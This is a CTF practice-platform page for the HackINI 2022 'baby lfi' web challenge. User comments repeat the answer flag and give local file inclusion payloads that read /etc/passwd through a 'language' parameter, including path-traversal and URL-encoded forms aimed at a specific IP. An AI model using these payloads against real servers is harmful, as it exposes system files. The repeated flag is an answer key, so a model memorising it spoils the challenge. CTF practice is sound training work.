baby lfiWEB 未解决

分数: 0 金币: 0
所属赛事: HackINI 2022
题目作者: 未知
一　　血: Aman
一血奖励: 0金币
解　　决: 3066
提　　示:
描　　述:
What about making things a bit harder ?
...
登录回复
评论
daisy2413 1年前
举报

shellmates{10CA1_F11e_1Nc1US10n_m4y_r3ve4l_in7Er3st1nG_iNf0Rm4t1on}

回复 0
小白帽来挖个漏洞 1年前
举报

题解：https://blog.csdn.net/guanrongl/article/details/142906680

回复 3
2MASS 1年前
举报

shellmates{10CA1_F11e_1Nc1US10n_m4y_r3ve4l_in7Er3st1nG_iNf0Rm4t1on}

回复 0
MOCHAOLIN 1年前
举报

http://82.157.146.43:18383/?language=/etc/%70%61%73%73%77%64

回复 1
userxin 1年前
举报

?language=/../../../../../../etc/passwd

回复 0
Real丶WuMing 1年前
举报

shellmates{10CA1_F11e_1Nc1US10n_m4y_r3ve4l_in7Er3st1nG_iNf0Rm4t1on}

回复 0
1005667204 1年前
举报

use the language parameter 使用language当参数 ?language=/etc/passwd

回复 0
YOLO77w 1年前
举报

Lfi是本地文件包含 在基本的LFI攻击中，我们可以使用（../）或简单地（/）从目录中直接读取文件的内容，../../../../敲的足够多就能跳转到根目录下../../../../etc/passwd 用到文件包含php伪协议 环境下有Please Select a language of your choice : en/fr ，参数名可能是language 可以在ip+?langu

回复 3
cat1 1年前
举报

shellmates{10CA1_F11e_1Nc1US10n_m4y_r3ve4l_in7Er3st1nG_iNf0Rm4t1on}

回复 1
zzzzq 1年前
举报

shellmates{10CA1_F11e_1Nc1US10n_m4y_r3ve4l_in7Er3st1nG_iNf0Rm4t1on}

回复 1

WriteUp

image
2901600657

3 金币

立即查看

评分(3)

解题动态

zerogoctf 攻破了该题 1天前
帅Yu 攻破了该题 2天前
yyt030 攻破了该题 2天前
Icey艾希 攻破了该题 3天前
出题人我会一直让你等着 攻破了该题 4天前
xuyp 攻破了该题 4天前
oohyodec 攻破了该题 4天前
1921682550 攻破了该题 5天前
Fengyu3321 攻破了该题 6天前
六眼飞鱼 攻破了该题 7天前
意料之中是戏 攻破了该题 7天前
Tim.Drake 攻破了该题 9天前
jhgtx 攻破了该题 10天前
lyy 攻破了该题 11天前
1211020612 攻破了该题 12天前
chrisslyy 攻破了该题 13天前
13675095331 攻破了该题 14天前
wes 攻破了该题 14天前
哈喽哈 攻破了该题 14天前
pigbigstrong 攻破了该题 17天前
问题反馈